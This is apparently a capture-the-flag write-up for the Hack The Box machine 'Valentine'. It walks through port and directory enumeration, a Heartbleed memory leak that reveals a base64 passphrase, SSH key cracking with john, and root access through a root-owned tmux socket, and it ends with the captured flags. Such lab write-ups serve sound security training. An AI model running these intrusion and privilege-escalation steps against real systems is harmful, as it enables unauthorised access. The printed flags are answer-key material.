Nmap Results

# Nmap 7.93 scan initiated Sat Apr  8 00:43:54 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt 10.10.10.79
Nmap scan report for 10.10.10.79
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 964c51423cba2249204d3eec90ccfd0e (DSA)
|   2048 46bf1fcc924f1da042b3d216a8583133 (RSA)
|_  256 e62b2519cb7e54cb0ab9ac1698c67da9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2023-04-08T04:44:27+00:00; 0s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/8%OT=22%CT=1%CU=39263%PV=Y%DS=2%DC=T%G=Y%TM=6430F12B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=8)OPS(
OS:O1=M53CST11NW4%O2=M53CST11NW4%O3=M53CNNT11NW4%O4=M53CST11NW4%O5=M53CST11
OS:NW4%O6=M53CST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(
OS:R=Y%DF=Y%T=40%W=3908%O=M53CNNSNW4%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M53CST11NW4%RD=0
OS:%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   13.56 ms 10.10.14.1
2   13.64 ms 10.10.10.79

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr  8 00:44:27 2023 -- 1 IP address (1 host up) scanned in 33.73 seconds

Service Enumeration

TCP/80

In the nmap output for TCP/443, the certificate has a CN of valentine.htb. I tested it as a virtual host, but there doesn't seem to be any noticeable difference when navigating using a hostname.

Gobuster Enumeration

gobuster dir -u http://10.10.10.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -r -t 100 -o gobuster.txt

/index.php            (Status: 200) [Size: 38]
/index                (Status: 200) [Size: 38]
/dev                  (Status: 200) [Size: 1097]
/encode               (Status: 200) [Size: 554]
/encode.php           (Status: 200) [Size: 554]
/decode.php           (Status: 200) [Size: 552]
/decode               (Status: 200) [Size: 552]
/omg                  (Status: 200) [Size: 153356]

/dev

To do item three and four are pretty interesting, sounds like encoding/decoding might be occurring server-side at this point.

I'm going to hang onto this hash and enumerate some more.

/encode, /decode

Upon first glance at the directory structure and the server responses, it looks like there are scripts at:

• http://10.10.10.79/decode.php
• http://10.10.10.79/decode/decode.php
• http://10.10.10.79/decode/encode.php
• http://10.10.10.79/encode.php
• http://10.10.10.79/encode/encode.php
• http://10.10.10.79/encode/decode.php

What's really happening here is that the server is redirecting the client based on the directory. So, any file name under /decoder redirects to /decoder/decoder.php, and vice-versa for the /encoder directory.

I tried some different PHP payloads to see how the server parses the inputs, but it doesn't seem vulnerable to any kind of command injection or file inclusion at the moment. Time to enumerate some more.

/omg

TCP/443

More Enumeration

TCP/443 looks to be serving the same content as TCP/80. I re-ran a nmap scan on the open ports to enumerate some more.

sudo nmap -Pn -p80,443,22 --min-rate 10000 --script vuln 10.10.10.79

This bit from the output stuck out to me:

443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt 
|_      http://cvedetails.com/cve/2014-0160/

Testing Heartbleed

Looking at the omg.jpg image during the initial enumeration, it's very clear that I should be focusing on the Heartbleed SSL/TLS vulnerability.

Heartbleed isn't a vulnerability in the web server itself. It's actually happening at the transport layer, where the server and client complete a handshake before sending data at the application layer.

This is a really nice write-up on the vulnerability here:

How to Exploit the Heartbleed Bug

First we explained how it worked, and now, thanks to Jared Stafford (and stbnps on Github for explanations) we can show you how to exploit it. Heartbleed is a s...

Stack AbuseScott Robinson

In short what's happening with this exploit is:

• We tell the server that we've sent <num_bytes> of data
• The server doesn't verify and processes the request
• Since the request is empty, nothing is processed in the memory of the server application
• Thus, when the server replies, the server returns data from memory that it otherwise shouldn't be reading
• Since the web server is the application running the OpenSSL stack, it's possible that sensitive information could be leaked from memory on the server

There are also some Heartbleed exploits on Exploit Database.

searchsploit -m 32764

This bit is very interesting:

  00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F  1/decode.php..Co
  00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C  ntent-Type: appl
  0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F  ication/x-www-fo
  0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43  rm-urlencoded..C
  0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34  ontent-Length: 4
  0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63  2....$text=aGVhc
  0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64  nRibGVlZGJlbGlld
  0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D B6  mV0aGVoeXBlCg==.

That's very clearly a base64-encoded payload being send to the decode.php script on the server. It seems like we're getting some log data back in the Heartbleed response. Let's try and decode the data.

echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==' | base64 -d

Cracking the SSH Hash

echo 'heartbleedbelievethehype' > pass.txt
john --wordlist=pass.txt ssh-hash

The only problem here is we have a key, but don't have a username. We could try root or hype — since the filename on the web server is hype_key, but outside of that, we'd have to bruteforce with a username list.

I get an error when trying to SSH with the key: sign_and_send_pubkey.... I imagine it has something to do with the age of the box and outdated SSH ciphers. Time to Google for a workaround.

Looks like we can tack on an option with the SSH command:

ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ./ssh-key hype@10.10.10.79

And, we're in!

Exploit

A server vulnerable to the Heartbleed vulnerability leaked a password — which in combination with a SSH private key file — allows an attacker to authenticate to the SSH server running on the target.

At a minimum, Heartbleed is the vulnerability in need of most urgent patching. Beyond that, developers should ensure that sensitive folders are not globally readable, let alone storing SSH keys in web directories anyway.

Post-Exploit Enumeration

Operating Environment

Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

Sorry, user hype may not run sudo on Valentine.

Users and Groups

hype:x:1000:1000:Hemorrhage,,,:/home/hype:/bin/bash

cdrom:x:24:hype
dip:x:30:hype
plugdev:x:46:hype
hype:x:1000:
sambashare:x:124:hype

Network Configurations

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:50:56:b9:db:34 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.79/24 brd 10.10.10.255 scope global eth0
    inet6 dead:beef::2932:bdef:12e3:8847/64 scope global temporary dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 dead:beef::250:56ff:feb9:db34/64 scope global dynamic 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:feb9:db34/64 scope link 
       valid_lft forever preferred_lft forever

tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -

Processes and Services

root       1022  0.0  0.1  26416  1684 ?        Ss   09:30   0:06 /usr/bin/tmux -S /.devs/dev_sess

Interesting Files

srw-rw---- 1 root hype 0 Apr 10 09:30 /.devs/dev_sess

Privilege Escalation

Looking at the enumeration of the running processes, the tmux session running as root under /.devs/dev_sess was clearly a clue.

root       1022  0.0  0.1  26416  1684 ?        Ss   09:30   0:06 /usr/bin/tmux -S /.devs/dev_sess

So, I ran the exact same command in my hype session, since I clearly had rw privileges to that session file.

Nice! We're done here.

Flags

ec9421750d6906c0af16c5f961069b66

bc7076be0bdc81d825e8c921b29a17ea